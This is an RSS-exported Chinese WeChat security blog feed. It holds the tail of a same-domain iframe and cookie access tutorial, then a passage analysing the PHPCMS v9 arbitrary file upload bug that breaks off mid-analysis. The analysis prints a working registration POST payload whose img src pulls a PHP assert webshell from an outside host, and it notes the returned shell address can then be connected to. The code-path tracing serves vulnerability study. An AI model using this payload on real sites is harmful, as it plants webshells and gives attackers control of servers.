src="https://wechat2rss.xlab.app/img-proxy/?k=d4d3a742&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDEial5txCHaAd9b09vcPvcHHtnskM1SKVpQibianXFRSeaiaeuTT9l59aWw%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1">这里有一点需要注意，主域名相同的情况下，子域名不同也是跨域的。</span></p><p class="p1"><span class="s1"><br/></span></p><p class="p1"><strong><span style="font-size: 24px;">父子之间互取元素（同域）</span></strong></p><p class="p2"><span style="color: rgb(136, 136, 136);">tip:elemframe，elemframe1（第一次iframe），elemframe2（和1并列的iframe），elemframe3（嵌套在1中的iframe）皆为iframe 的名字和id。elem1js(1~3)为不同子页面名称,testfun1(),testfun3()为不同子页面的函数。</span></p><p class="p2"><span style="color: rgb(136, 136, 136);"><br/></span></p><p><span style="display: none; line-height: 0px;">‍</span></p><p class="p3"><span class="s1"><strong>父页面获取子页面元素</strong></span></p><p class="p3"><span class="s1"></span></p><p><img data-s="300,640" data-type="png" data-w="1956" data-ratio="0.1411042944785276" src="https://wechat2rss.xlab.app/img-proxy/?k=cca16d26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDV9KASxR3CtxY5c7h3ynD7iaULialBauR2bqXc34jonVfF15ACtnXgkqA%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"><strong><br/></strong></span></p><p class="p1"><span class="s1"><strong>子页面获取父页面元素</strong></span></p><p><img data-s="300,640" data-type="png" data-w="1216" style="font-weight: bold; font-size: 1.3em;" data-ratio="0.28125" src="https://wechat2rss.xlab.app/img-proxy/?k=62de8972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWD2QhzFuvyHr8DsE1icUibT5EgkCeRwlXPadLiaeacPibn25aBGGk5VA04wQ%2F0%3Fwx_fmt%3Dpng"/></p><p><strong style="font-size: 1em;"><br/></strong></p><p><strong style="font-size: 1em;">父页面监听子页面元素事件</strong></p><p><strong style="font-size: 1em;"></strong></p><p><img data-s="300,640" data-type="png" data-w="2400" data-ratio="0.08416666666666667" src="https://wechat2rss.xlab.app/img-proxy/?k=ff8539b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDczibYwvNwtC8K4SP15L4u1FofwhxrrcRgS931MssntgCUP1kuIniaicBg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p class="p1"><span class="s1"><strong>子页面监听父页面元素事件</strong></span></p><p><img data-s="300,640" data-type="png" data-w="2398" data-ratio="0.07005838198498748" src="https://wechat2rss.xlab.app/img-proxy/?k=d83ab70b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWD6LnsTbhS9Msmh6zdZIOJSUYtrfEetfxndTvA0SAnIibyXutBUuBSQUQ%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"><strong><br/></strong></span></p><p class="p1"><span class="s1"><strong>父页获取子页面js变量及函数</strong></span></p><p><img data-s="300,640" data-type="png" data-w="1468" data-ratio="0.2779291553133515" src="https://wechat2rss.xlab.app/img-proxy/?k=68320ff4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDcbxTaIFTRyI2AExacDHqNs3IPQpDsNuIJ07EDlUslhTr4hs1R2Gz9Q%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"><strong><br/></strong></span></p><p class="p1"><span class="s1"><strong>子页面获取父页面js变量及函数</strong></span></p><p class="p1"><span class="s1"></span></p><p><img data-s="300,640" data-type="png" data-w="1276" data-ratio="0.28996865203761757" src="https://wechat2rss.xlab.app/img-proxy/?k=bffe40a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDRRCbJP78OtdXVuicDYp2xYatl3tNUm44PwcaFLPIhA6m6pOMQQlCWwQ%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"></span><br/></p><p class="p1"><span class="s1"><strong>父页获取子页面cookie</strong></span></p><p class="p2"><span class="s1"></span></p><p><img data-s="300,640" data-type="png" data-w="1510" data-ratio="0.152317880794702" src="https://wechat2rss.xlab.app/img-proxy/?k=16efd949&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWD9jQukx0ia139xC6O6BmzyDSs6y0RkAyibqf56W83HzHibXLnLtTlq4Itw%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"><strong><br/></strong></span></p><p class="p1"><span class="s1"><strong>子页面获取父页面及并列页面cookie</strong></span></p><p class="p2"><span class="s1"></span></p><p><img data-s="300,640" data-type="png" data-w="1126" data-ratio="0.1882770870337478" src="https://wechat2rss.xlab.app/img-proxy/?k=38113a06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDWL4ibichOV4Frkla0hTibDLYLATiaocfxib8jAlPInsNVFJqGgtRGjw3kOA%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1"><strong><br/></strong></span></p><p class="p1"><span class="s1"><strong>第二层子页面相关操作</strong></span></p><p><img data-s="300,640" data-type="png" data-w="1840" data-ratio="0.34456521739130436" src="https://wechat2rss.xlab.app/img-proxy/?k=01abb440&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDqtkzlCWpgZKv44UlV7zHcbF0FPibxH5oTZia4ShhZPdsWBdkMWtZicqNA%2F0%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 1em;"><br/></span></p><p><span style="font-size: 1em;">Demo地址：<a href="http://works.enjoyfe.com/iframe/parent_def.html" target="_blank">http://works.enjoyfe.com/iframe/parent_def.html</a></span></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p><br/></p><p style="white-space: normal;">                                                                </p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section>



<p><a href="2247483843">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=68aa6281&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483843%26idx%3D2%26sn%3D0bba8bbfe3b0f8ceefc8c7860dfd64af%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Apr 2017 09:19:00 +0800</pubDate>
    </item>
    <item>
      <title>PHPCMS最新版任意文件上传漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483822&amp;idx=1&amp;sn=9dfc1706c4dbee9374a2da4848f2121f</link>
      <description>潜伏了一年多的漏洞终于被大佬爆出来了~</description>
      <content:encoded><![CDATA[<p>
原创 <span>王松_Striker</span> <span>2017-04-13 09:10</span> <span style="display: inline-block;"></span>
</p>

<p>潜伏了一年多的漏洞终于被大佬爆出来了~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8817120b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkN2zE9AIeMfKUQZLqQrWup5icX2lD8fiaicsKkFXR4YZicNrS66FLcpkWdA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p style="white-space: normal;"><span style=" background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; ; ">前几天就听朋友说PHPCMS最新版出了几个洞，有注入还有任意文件上传，注入我倒不是很惊讶，因为<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">PHPCMS</span>只要拿到了authkey注入就一大堆……</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">任意文件上传倒是很惊讶，但是小伙伴并没有给我<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">EXP</span>，今天看到了EXP，但是没有详细分析，那我就自己分析一下好啦。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">首先去官网下一下最新版的程序，搭建起来。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">为了方便各位小伙伴复现，这里附上最新版的下载地址：</p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section class="color" style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;">链接: <a href="https://pan.baidu.com/s/1geNQfyb" target="_blank">https://pan.baidu.com/s/1geNQfyb</a> 密码: gxsd</section></section><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">漏洞复现</h2><p>漏洞复现的办法是先打开注册页面，然后向注册页面POST如下payload：</p><p><span style=" background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; ; "></span></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section class="color" style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;"><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ; ">siteid=1&amp;modelid=11&amp;username=123456&amp;password=123456&amp;email=123456@qq.com&amp;info[content]=&lt;img src=<a href="http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg" target="_blank">http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg</a>&gt;&amp;dosubmit=1&amp;protocol=</span></section></section><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后就会报错并返回shell地址：</p><p><img data-s="300,640" data-type="jpeg" data-w="1235" data-ratio="0.22267206477732793" src="https://wechat2rss.xlab.app/img-proxy/?k=d5cdc7fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkV8FyX2W3iaFKYMqLkLYYNmdjQzHg6Dg16ZTjFpf95dJW9NHvBLOhuvA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后就可以连接啦。</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.578125" src="https://wechat2rss.xlab.app/img-proxy/?k=44678e77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkwPgUUFGt9ABBMdLWypCpibA27NRTrQVGKKdgdeDjhY9Z8lQxwW6RVlQ%2F0%3Fwx_fmt%3Djpeg"/></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">漏洞分析</h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">通过复现过程可以看到漏洞URL为：</p><p><span style="color: rgb(136, 136, 136);"></span></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section class="color" style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;"><a href="http://phpcms.localhost/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1" target="_blank">http://phpcms.localhost/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1</a></section></section><p><span style=" background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; ; "><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">可以确定是member模块的问题，以前我分析过phpcms的程序，所以就不从</span><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ">index.php</code><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">看了，我们直接去打开member模块的控制器文件如下：</span></span><br/></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><p style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;">/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;"><br/></span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">方法应该是</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">register</code><span style="text-decoration: inherit;">，我们定位到这里的函数：</span><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.421875" src="https://wechat2rss.xlab.app/img-proxy/?k=da853dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkZSZjTgrgiaBpRPPMtKd2m5McuvsWaC9ic7ibwhiczXfO3GibZlECaANaFxQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">首先是获取了一个<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$siteid</code>然后加载了一些配置，再判断是否存在<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$_POST[&#39;dosubmit&#39;]</code>，如果存在则进入到注册流程。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">通过跟进发现跟我们漏洞有关的代码应该是从129行开始：</p><p><img data-s="300,640" data-type="png" data-w="1498" data-ratio="0.2336448598130841" src="https://wechat2rss.xlab.app/img-proxy/?k=19a14b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkOd98WsFuU4vor0coxkrqD0NDFXCSib5uF626jk1OkmPjghfZZXDtHEQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中第134行从POST请求中传入了我们EXP的关键参数<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$_POST[&#39;info&#39;]</code>：</p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><p style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;">$_POST[&#39;info&#39;] = array_map(&#39;new_html_special_chars&#39;,$_POST[&#39;info&#39;]);</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ; "><span style="text-indent: 0em; text-decoration: inherit;"><br/></span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;"></span><span style="text-indent: 0em; text-decoration: inherit;">但使用</span><code style=" text-indent: 0em; text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">new_html_special_chars</code><span style="text-indent: 0em; text-decoration: inherit;">函数过滤了一遍，我们来跟进下这个函数都干了些什么事情。</span></p><p><img data-s="300,640" data-type="png" data-w="1424" data-ratio="0.2247191011235955" src="https://wechat2rss.xlab.app/img-proxy/?k=cb8214d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkpTp7xBPe0j25gf6T3SAasmHtFTVwdY5oAGtYib8bibhibFnfdeqvibobqg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">好吧，只是用了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">htmlspecialchars</code>函数来转义HTML特殊字符，影响不是特别大，继续往下跟，135行调用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$member_input-&gt;get()</code>方法进行了处理：</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit; font-size: 1em;"></span></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section class="color" style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;">$user_model_info = $member_input-&gt;get($_POST[&#39;info&#39;]);</section><section style=" width: 0px; height: 0px; "></section><p><span style=" font-size: 1em; text-decoration: inherit; background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; "><br/></span></p><p><span style=" font-size: 1em; text-decoration: inherit; background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; ">get方法不是很长，这里把代码贴出来：</span><br/></p></section><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><img data-s="300,640" data-type="png" style=" font-size: 1em; text-decoration: inherit ; ; ; ; ; ; ; " data-ratio="0.4970845481049563" data-w="2744" src="https://wechat2rss.xlab.app/img-proxy/?k=952d9010&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkOIC8urZb0zKicTicuicK69nasia5RAC4qibewMibDd70ibiaE52Dg0tXCs2hsw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">先调用了</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">trim_script</code><span style="text-decoration: inherit;">方法处理了一下</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$data</code><span style="text-decoration: inherit;">，跟进查看：</span><img data-s="300,640" data-type="png" style=" font-size: 1em; text-decoration: inherit ; ; ; ; ; ; ; " data-ratio="0.30927835051546393" data-w="1746" src="https://wechat2rss.xlab.app/img-proxy/?k=5efa8513&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkMBpbYxDnHhVGGZypAkhlfjPxbPtnKYFMCbxR8np0CHZmmWVrCvwUhQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">好吧，只是进行了部分正则替换，看样子跟我们本次要谈的漏洞关系不是特别大，继续往下看。</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">get函数中有个关键的地方是</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">if(is_array($data))</code><span style="text-decoration: inherit;">我们payload中的info就是个数组，所以能走进这个if条件中，继续跟。</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">先是用</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">foreach</code><span style="text-decoration: inherit;">进行遍历</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$info</code><span style="text-decoration: inherit;">，键名为</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$field</code><span style="text-decoration: inherit;">，键值为</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$value</code><span style="text-decoration: inherit;">，首先用</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">safe_replace</code><span style="text-decoration: inherit;">进行了一次安全替换：</span></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownCard(&#39;shifu_c_040&#39;)" style="width: 100%;  padding-bottom:15px;padding-top:20px ;padding-left: 8px;padding-right: 8px; font-size: 1em; text-decoration: inherit; "><section class="color" style="line-height: 1.5em; font-family: 微软雅黑; border-left: 3px solid rgb(154, 205, 50); padding: 5px 5px 5px 10px;">$field = safe_replace($field);</section><section style=" width: 0px; height: 0px; "></section><p><br/></p></section><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">跟<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">safe_replace</code>函数看看：</p><p><img data-s="300,640" data-type="png" data-w="972" data-ratio="0.8950617283950617" src="https://wechat2rss.xlab.app/img-proxy/?k=47baa63f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkzVtY9sHCMcbohMQiaKet8z8KRq5iaaibJE8mZen91jusYciblw7WZicEcvg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">将部分字符替换为空了，我们继续往下跟，发现get方法中这两行很关键，很有可能跟漏洞相关：</p><p><img data-s="300,640" data-type="png" data-w="1444" data-ratio="0.07340720221606649" src="https://wechat2rss.xlab.app/img-proxy/?k=d92397c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxktPn73ZU7xBzbysE9ZZpbR9JK4u2Bx6uKSuibkjq3EtfEvibpyqsYA0rg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">先是获取了一个</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$func</code><span style="text-decoration: inherit;">，然后判断方法如果存在就带入这个函数，我这里用的debug模式，可以直接看到最终的</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$func</code><span style="text-decoration: inherit;">是editor。</span><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1176" data-ratio="0.2976190476190476" src="https://wechat2rss.xlab.app/img-proxy/?k=3f573714&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkvu5N3awiahlbuBYJibZK5HR4UuOiamB33kznpiciaT1qGtESxqicAyp1oR8A%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="text-decoration: inherit;">然而实际上这个editor是存在数据库中</span><code style=" text-decoration: inherit; box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">v9_model_field</code><span style="text-decoration: inherit;">表中的。</span><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.66875" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec173c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkG51oE15LRgPyV21YP5NCr4qZ51ia55hW2p0CS1gQet4uQyIH8XHsZWA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们继续跟进<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">editor</code>方法：</p><p><img data-s="300,640" data-type="png" data-w="1552" data-ratio="0.22422680412371135" src="https://wechat2rss.xlab.app/img-proxy/?k=65c7508a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkNncjgww1WeotTZjJDBsufiaJBxauUegqKIWdQkd5he91eyQ1RI20I5w%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后这篇文章的高潮部分来了！！！！</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">看这里：</p><p><img data-s="300,640" data-type="png" data-w="1430" data-ratio="0.057342657342657345" 